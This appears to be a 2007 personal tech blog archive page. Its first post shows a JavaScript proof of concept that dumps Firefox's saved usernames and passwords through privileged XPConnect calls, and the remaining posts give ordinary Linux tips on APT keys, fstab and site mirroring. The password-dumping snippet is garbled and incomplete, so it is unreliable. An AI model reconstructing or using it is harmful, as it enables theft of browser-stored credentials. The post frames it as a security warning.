Archive for October, 2007


Stealing All your saved Firefox Passwords

October 23, 2007

We’ve to have care when we save our passwords. All of this are easy to recover (or steal!) with this simply function:

function listPW() {
if(document.location !='') {'UniversalXPConnect');
var pm = Components.classes[";1"].getService();
pm = pm.QueryInterface(Components.interfaces.nsIPasswordManager);
var enumerator = pm.enumerator;
document.writeln('Mozilla\'s idea of security, I do not store these passwords, it\'s only a PoC');
while (enumerator.hasMoreElements()) {
try {
var np = enumerator.getNext();
np = np.QueryInterface(Components.interfaces.nsIPassword);
presult = '['+np.user+'] ['+np.password+'] ['']
} catch(e) { }
} else { alert('this only runs from your PC, save the page to your desktop (CTRL+S) and open it in Firefox, then watch the Magicx!'); }

Be careful 🙂



Downloading a entire web site

October 9, 2007

If we need to save a entire website in our drive, we can choose some applications like:

*–level=3 means that 3 sub-levels of the web will be downloaded.


Solving “NO_PUBKEY” error in APT

October 4, 2007

Sometimes when i use ‘apt-get update’ i receive an error like this:

W: GPG error: testing Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 010908312D230C5F

To fix this,  copy the number (010908312D230C5F in the example) and type:

  • gpg –keyserver –recv [NUMBER]
  • gpg –export –armor [NUMBER] | apt-key add –

Then, let try “apt-get update” again.


Free Un*x terminals by Hewlett Packard

October 4, 2007

HP it’s offering free Un*x terminals to try some OS:

  • HP-UX 11i v3
  • Linux (Debian Etch, Red Hat Enterprise 5, Madriva Corporate, SuSe server 10)
  • HP OpenVMS
  • FreeBSD 6.2

All this OS are running on different machines as HP Proliant servers or PA-RISC.

There’re some apps to test those servers, GCC, Oracle, Fortran compilers, etc

This is the link


Adding a NTFS partition to fstab

October 3, 2007

Fstab it’s located in “/etc/fstab”, and it’s a plain text file which contains the information about our disks, and the how they should be mounted in the system.

If you want to add a NTFS partition you must type this:

/dev/hda[X] /mnt/[folder_name] ntfs ro,user,auto,noexec,umask=0 0 0


  • ro = Read Only
  • user = Allow to mount the partition if you’re a limited user
  • auto = This means that the partition will be mounted at the system bootup
  • noexec = You’ll not be able to execute binaries (Highly recommended to Win partitions)
  • “umask=0”  = Means everybody can do everything with the files on the disk [See more]
  • 0(first) = The partition will not be backed up
  • 0 (second) = Put 1 if you want to check that partition with fcsk at the bootup (No necessary to Win)

NOTE: Put to the directory read only permissions with chmod*